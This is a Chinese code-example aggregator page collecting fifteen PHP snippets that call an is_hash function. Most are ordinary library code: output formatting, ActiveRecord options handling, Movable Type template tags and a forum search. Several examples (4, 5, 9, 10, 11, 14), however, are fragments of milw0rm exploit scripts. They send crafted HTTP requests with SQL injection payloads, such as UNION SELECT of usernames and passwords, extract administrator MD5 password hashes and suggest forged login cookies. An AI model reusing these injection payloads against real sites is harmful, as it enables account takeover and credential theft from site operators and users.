本文整理汇总了PHP中is_hash函数的典型用法代码示例。如果您正苦于以下问题:PHP is_hash函数的具体用法?PHP is_hash怎么用?PHP is_hash使用的例子?那么, 这里精选的函数代码示例或许可以为您提供帮助。
在下文中一共展示了is_hash函数的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的PHP代码示例。
示例1: output
function output($txt)
{
if (is_hash($txt)) {
$out = '[';
foreach ($txt as $k => $v) {
$out .= output($k) . " => " . output($v) . ', ';
}
$out .= "]";
return $out;
} else {
if (is_array($txt)) {
$out = '[';
foreach ($txt as $k) {
$out .= output($k) . ', ';
}
$out .= "]";
return $out;
} else {
if ($txt === TRUE || $txt === FALSE) {
return $txt === TRUE ? "true" : "false";
} else {
return "'{$txt}'";
}
}
}
}
示例2: alias
public function alias($fields)
{
if (is_array($fields)) {
if (is_hash($fields)) {
foreach ($fields as $alias => $field) {
if (!is_numeric($alias)) {
$fields[$alias] = $field . ' AS ' . $alias;
}
}
}
$fields = implode(',', $fields);
}
return $fields;
}
示例3: extract_and_validate_options
/**
* Pulls out the options hash from $array if any.
*
* @internal DO NOT remove the reference on $array.
* @param array &$array An array
* @return array A valid options array
*/
public static function extract_and_validate_options(array &$array)
{
$options = array();
if ($array) {
$last =& $array[count($array) - 1];
try {
if (self::is_options_hash($last)) {
array_pop($array);
$options = $last;
}
} catch (ActiveRecordException $e) {
if (!is_hash($last)) {
throw $e;
}
$options = array('conditions' => $last);
}
}
return $options;
}
示例4: strlen
$packet .= "Content-Type: application/x-www-form-urlencoded\r\n";
$packet .= "Content-Length: " . strlen($data) . "\r\n";
$packet .= "Host: " . $host . "\r\n";
$packet .= "Connection: Close\r\n\r\n";
$packet .= $data;
sendpacketii($packet);
sleep(1);
$packet = "GET " . $p . "index.php?mode=viewid&post_id={$post_id} HTTP/1.0\r\n";
$packet .= "Host: " . $host . "\r\n";
$packet .= "Connection: Close\r\n\r\n";
sendpacketii($packet);
//echo $html;
$temp = explode('"message"><!--', $html);
for ($i = 1; $i < count($temp); $i++) {
$temp2 = explode("-->", $temp[$i]);
if (is_hash($temp2[0])) {
$hash = $temp2[0];
$temp2 = explode("-->", $temp[$i + 1]);
$admin = $temp2[0];
echo "----------------------------------------------------------------\n";
echo "admin -> " . $admin . "\n";
echo "password (md5) -> " . $hash . "\n";
echo "----------------------------------------------------------------\n";
die;
}
}
//if you are here...
echo "exploit failed...";
?>
# milw0rm.com [2006-08-07]
示例5: strlen
$packet = "POST " . $p . "index.php HTTP/1.0\r\n";
$packet .= "Content-Type: application/x-www-form-urlencoded\r\n";
$packet .= "Accept-Encoding: text/plain\r\n";
$packet .= "User-Agent: Googlebot/2.1\r\n";
$packet .= "Host: " . $host . "\r\n";
$packet .= "Content-Length: " . strlen($data) . "\r\n";
$packet .= "Connection: Close\r\n\r\n";
$packet .= $data;
sendpacketii($packet);
if (eregi("Gadget is not enabled", $html)) {
die("search gadget is not enabled... exploit failed");
}
$temp = explode('">*SUNTZOI*', $html);
$temp2 = explode('*SUNTZOI*', $temp[1]);
$admin = $temp2[0];
$temp = explode('href="*SUNTZU*', $html);
$temp2 = explode('*SUNTZU*', $temp[1]);
$hash = $temp2[0];
if ($admin != '' and $hash != '' and is_hash($hash)) {
echo "Exploit succeeded...\r\n";
echo "--------------------------------------------------------------------\r\n";
echo "admin -> " . $admin . "\r\n";
echo "password (md5) -> " . $hash . "\r\n";
echo "--------------------------------------------------------------------\r\n";
} else {
echo "Exploit failed, maybe wrong table prefix...";
}
?>
# milw0rm.com [2006-06-23]
示例6: smarty_function_mtsetvar
function smarty_function_mtsetvar($args, &$ctx)
{
// status: complete
// parameters: name, value
$name = $args['name'];
$name or $name = $args['var'];
if (!$name) {
return '';
}
$value = $args['value'];
$vars =& $ctx->__stash['vars'];
if (strtolower($name) == 'page_layout') {
# replaces page layout for current page
require_once "MTUtil.php";
$columns = get_page_column($value);
$vars['page_columns'] = $columns;
$vars['page_layout'] = $value;
}
if (preg_match('/^(\\w+)\\((.+)\\)$/', $name, $matches)) {
$func = $matches[1];
$name = $matches[2];
} else {
if (array_key_exists('function', $args)) {
$func = $args['function'];
}
}
# pick off any {...} or [...] from the name.
if (preg_match('/^(.+)([\\[\\{])(.+)[\\]\\}]$/', $name, $matches)) {
$name = $matches[1];
$br = $matches[2];
$ref = $matches[3];
if (preg_match('/^\\$(.+)/', $ref, $ref_matches)) {
$ref = $vars[$ref_matches[1]];
if (!isset($ref)) {
$ref = chr(0);
}
}
$br == '[' ? $index = $ref : ($key = $ref);
} else {
if (array_key_exists('index', $args)) {
$index = $args['index'];
} else {
if (array_key_exists('key', $args)) {
$key = $args['key'];
}
}
}
if (preg_match('/^\\$/', $name)) {
$name = $vars[$name];
if (!isset($name)) {
return $ctx->error($ctx->mt->translate("You used a [_1] tag without a valid name attribute.", "<MT{$tag}>"));
}
}
$existing = $vars[$name];
require_once "MTUtil.php";
if (isset($key)) {
if (!isset($existing)) {
$existing = array($key => $value);
} elseif (is_hash($existing)) {
$existing = $existing[$key];
} else {
return $ctx->error($ctx->mt->translate("'[_1]' is not a hash.", $name));
}
} elseif (isset($index)) {
if (!isset($existing)) {
$existing[$index] = $value;
} elseif (is_array($existing)) {
if (is_numeric($index)) {
$existing = $existing[$index];
} else {
return $ctx->error($ctx->mt->translate("Invalid index."));
}
} else {
return $ctx->error($ctx->mt->translate("'[_1]' is not an array.", $name));
}
}
if (array_key_exists('append', $args) && $args['append']) {
$value = isset($existing) ? $existing . $value : $value;
} elseif (array_key_exists('prepend', $args) && $args['prepend']) {
$value = isset($existing) ? $value . $existing : $value;
} elseif (isset($existing) && array_key_exists('op', $args)) {
$op = $args['op'];
$value = _math_operation($op, $existing, $value);
if (!isset($value)) {
return $ctx->error($ctx->mt->translate("[_1] [_2] [_3] is illegal.", $existing, $op, $value));
}
}
$data = $vars[$name];
if (isset($key)) {
if (isset($func) && 'delete' == strtolower($func)) {
unset($data[$key]);
} else {
$data[$key] = $value;
}
} elseif (isset($index)) {
$data[$index] = $value;
} elseif (isset($func)) {
if ('undef' == strtolower($func)) {
unset($data);
} else {
//.........这里部分代码省略.........
示例7: smarty_block_mtif
function smarty_block_mtif($args, $content, &$ctx, &$repeat)
{
if (!isset($content)) {
$result = 0;
$name = isset($args['name']) ? $args['name'] : $args['var'];
if (isset($name)) {
unset($ctx->__stash['__cond_tag__']);
# pick off any {...} or [...] from the name.
if (preg_match('/^(.+)([\\[\\{])(.+)[\\]\\}]$/', $name, $matches)) {
$name = $matches[1];
$br = $matches[2];
$ref = $matches[3];
if (preg_match('/^\\\\\\$(.+)/', $ref, $ref_matches)) {
$ref = $vars[$ref_matches[1]];
if (!isset($ref)) {
$ref = chr(0);
}
}
$br == '[' ? $index = $ref : ($key = $ref);
} else {
if (array_key_exists('index', $args)) {
$index = $args['index'];
} else {
if (array_key_exists('key', $args)) {
$key = $args['key'];
}
}
}
if (preg_match('/^$/', $name)) {
$name = $vars[$name];
if (!isset($name)) {
return $ctx->error($ctx->mt->translate("You used an [_1] tag without a valid name attribute.", "<MT{$tag}>"));
}
}
if (isset($name)) {
$value = $ctx->__stash['vars'][$name];
require_once "MTUtil.php";
if (is_hash($value)) {
if (isset($key)) {
if ($key != chr(0)) {
$val = $value[$key];
} else {
unset($value);
}
} else {
$val = $value;
}
} elseif (is_array($value)) {
if (isset($index)) {
if (is_numeric($index)) {
$val = $value[$index];
} else {
unset($value);
# fall through to any 'default'
}
} else {
$val = $value;
}
} else {
$val = $value;
}
}
} elseif (isset($args['tag'])) {
$tag = $args['tag'];
$tag = preg_replace('/^mt:?/i', '', $tag);
$largs = $args;
// local arguments without 'tag' element
unset($largs['tag']);
try {
$val = $ctx->tag($tag, $largs);
} catch (exception $e) {
$val = '';
}
}
if (!is_array($value) && preg_match('/^smarty_fun_[a-f0-9]+$/', $value)) {
if (function_exists($val)) {
ob_start();
$val($ctx, array());
$val = ob_get_contents();
ob_end_clean();
} else {
$val = '';
}
}
if (isset($args['tag'])) {
$ctx->__stash['__cond_tag__'] = $args['tag'];
} else {
if (isset($args['name'])) {
$var_key = $args['name'];
} else {
if (isset($args['var'])) {
$var_key = $args['var'];
}
}
$ctx->__stash['__cond_name__'] = $var_key;
}
$ctx->__stash['__cond_value__'] = $val;
if (array_key_exists('op', $args)) {
$op = $args['op'];
$rvalue = $args['value'];
//.........这里部分代码省略.........
示例8: apply_where_conditions
private function apply_where_conditions($args)
{
require_once 'Expressions.php';
$num_args = count($args);
if ($num_args == 1 && is_hash($args[0])) {
$hash = is_null($this->joins) ? $args[0] : $this->prepend_table_name_to_fields($args[0]);
$e = new Expressions($this->connection, $hash);
$this->where = $e->to_s();
$this->where_values = array_flatten($e->values());
} elseif ($num_args > 0) {
// if the values has a nested array then we'll need to use Expressions to expand the bind marker for us
$values = array_slice($args, 1);
foreach ($values as $name => &$value) {
if (is_array($value)) {
$e = new Expressions($this->connection, $args[0]);
$e->bind_values($values);
$this->where = $e->to_s();
$this->where_values = array_flatten($e->values());
return;
}
}
// no nested array so nothing special to do
$this->where = $args[0];
$this->where_values =& $values;
}
}
示例9: strlen
$packet .= "Content-Length: " . strlen($data) . "\r\n";
$packet .= "Cookie: threadvisit={$sql};\r\n";
$packet .= "Connection: Close\r\n\r\n";
$packet .= $data;
sendpacketii($packet);
$temp = explode("#post", $html);
$temp2 = explode("\n", $temp[1]);
echo chr((int) $temp2[0]);
$user .= chr((int) $temp2[0]);
}
echo "\n";
function is_hash($hash)
{
if (ereg("^[a-f0-9]{32}", trim($hash))) {
return true;
} else {
return false;
}
}
if (is_hash($hash)) {
print_r('
exploit succeeded, try this cookie:
wbb_userid=' . $uid . '; wbb_userpassword=' . $hash . ';
');
} else {
echo "exploit failed...\n";
}
?>
# milw0rm.com [2006-11-24]
示例10: explode
$temp2 = explode('"', $temp[1]);
$HASH = $temp2[0];
if (is_hash($HASH)) {
echo "HASH ->" . htmlentities($HASH) . "<BR>";
die("Exploit Succeeded...");
} else {
echo "Step 1 failed... trying step 2...<br>";
}
#STEP 2 -> if STEP 1 failed, vulnerability in getfile.php... this works with magic_quotes off
$SQL = "'UNION SELECT value,value FROM " . $prefix . "variables1 WHERE name='admin_password'/*";
$SQL = urlencode($SQL);
$packet = "GET " . $p . "getfile.php?cat=" . $SQL . " HTTP/1.1\r\n";
$packet .= "User-Agent: Python-urllib/2.0a1, maybe ;)\r\n";
$packet .= "Accept: text/plain\r\n";
$packet .= "Host: " . $host . "\r\n";
$packet .= "Connection: Close\r\n\r\n";
show($packet);
sendpacketii($packet);
$temp = explode('Content-Type: ', $html);
$temp2 = explode(chr(0xd), $temp[1]);
$HASH = $temp2[0];
if (is_hash($HASH)) {
echo "HASH ->" . htmlentities($HASH) . "<BR>Exploit Succeeded...";
} else {
echo "Exploit failed...";
}
}
?>
# milw0rm.com [2005-12-24]
示例11: sleep
echo "admin -> " . $my_admin . "[???]\n";
sleep(1);
break;
}
if ($i == 255) {
die("Exploit failed...");
}
}
$j++;
}
echo "--------------------------------------------------------------------\n";
echo "admin -> " . $my_admin . "\n";
echo "password (md5) -> " . $my_password . "\n";
echo "--------------------------------------------------------------------\n";
function is_hash($hash)
{
if (ereg("^[a-f0-9]{32}", trim($hash))) {
return true;
} else {
return false;
}
}
if (is_hash($my_password)) {
echo "Exploit succeeded...";
} else {
echo "Exploit failed...";
}
?>
# milw0rm.com [2006-09-21]
示例12: array
$searchresult[] = $row['topic_id'];
}
if (count($searchresult) > 0) {
$data = array('ids' => $searchresult, 'ignored' => $ignored, 'used' => $used, 'search' => $gpc->get('search', str), 'name' => $gpc->get('name', str), 'boards' => $gpc->get('boards', arr_int), 'opt_0' => $gpc->get('opt_0', int), 'opt_1' => $gpc->get('opt_1', int), 'opt_2' => $gpc->get('opt_2', int), 'temp' => $gpc->get('temp', int), 'temp2' => $gpc->get('temp2', int), 'sort' => $gpc->get('sort', str), 'order' => $gpc->get('order', str));
$fid = md5(microtime());
file_put_contents('cache/search/' . $fid . '.inc.php', serialize($data));
$slog->updatelogged();
$db->close();
viscacha_header('Location: search.php?action=result&fid=' . $fid . SID2URL_JS_x);
exit;
} else {
error($lang->phrase('search_nothingfound'), 'search.php' . SID2URL_1);
}
} elseif ($_GET['action'] == "result") {
$fid = $gpc->get('fid');
if (!is_hash($fid)) {
error($lang->phrase('query_string_error'), 'search.php' . SID2URL_1);
}
$file = "cache/search/{$fid}.inc.php";
if (!file_exists($file)) {
error($lang->phrase('search_doesntexist'), 'search.php' . SID2URL_1);
}
$data = file_get_contents($file);
$data = unserialize($data);
$ignored = array();
foreach ($data['ignored'] as $row) {
$row = trim($row);
if (!empty($row)) {
$ignored[] = $row;
}
}
示例13: writeValueWithSpec
function writeValueWithSpec()
{
$args = func_get_args();
$val = $args[0];
if (count($args) >= 2) {
$spec = $args[1];
} else {
$spec = $this->spec;
}
if (is_array($spec)) {
if (is_hash($spec)) {
$keys = array_keys($spec);
sort($keys);
if (is_object($val)) {
foreach ($keys as $k) {
$this->writeValueWithSpec($val->{$k}, $spec[$k]);
}
} else {
foreach ($keys as $k) {
$this->writeValueWithSpec($val[$k], $spec[$k]);
}
}
} else {
$this->writeValue(count($val), type_check(count($val)));
foreach ($val as $v) {
$this->writeValueWithSpec($v, $spec[0]);
}
}
} else {
if ($spec === (TRUEVAL & FALSEVAL)) {
$this->writeValue($val, type_check($val), TRUE);
} else {
$this->writeValue($val, $spec, TRUE);
}
}
}
示例14: die
echo "table prefix -> " . $prefix . "\n";
} else {
die("Unable to disclose table prefix...\n");
}
}
$diff = array(",0,0,0,0,0", ",0,0,0,0", ",0,0,0", ",0,0", ",0", "");
for ($j = 0; $j <= count($diff) - 1; $j++) {
$sql = "9999')/**/UNION/**/SELECT/**/1,0,0,0,CONCAT('*WhOp*',username,':',password,'*WhOp*'),0,0,0,0,0" . $diff[$j] . "/**/FROM " . $prefix . "_papoo_user/**/WHERE/**/gruppenid='g1,'/*";
$sql = urlencode($sql);
$packet = "GET " . $p . "forumthread.php?msgid=" . $sql . " HTTP/1.0\r\n";
$packet .= "Host: " . $host . "\r\n";
$packet .= "Connection: Close\r\n\r\n";
sendpacketii($packet);
$temp = explode("*WhOp*", $html);
for ($i = 1; $i <= count($temp) - 1; $i++) {
$temp2 = explode(":", $temp[$i]);
if (is_hash($temp2[1])) {
echo "--------------------------------------------------------\n";
echo "admin -> " . $temp2[0] . " \n";
echo "password (md5) -> " . $temp2[1] . " \n";
echo "--------------------------------------------------------\n";
die;
}
}
}
//if you are here...
echo "exploit failed...";
?>
# milw0rm.com [2006-07-07]
示例15: select_options
function select_options($options = array(), $key = "", $value = "", $default_value = "")
{
$elem = array();
$i = is_hash($options);
while (list($key, $val) = each($options)) {
$key = $i ? $key : $val;
if ($default_value == $key) {
$elem[] = '<option value="' . $key . '" SELECTED>' . htmlspecialchars($val, ENT_QUOTES, 'UTF-8') . '</option>';
} else {
$elem[] = '<option value="' . $key . '">' . htmlspecialchars($val, ENT_QUOTES, 'UTF-8') . '</option>';
}
}
return implode("\n", $elem);
}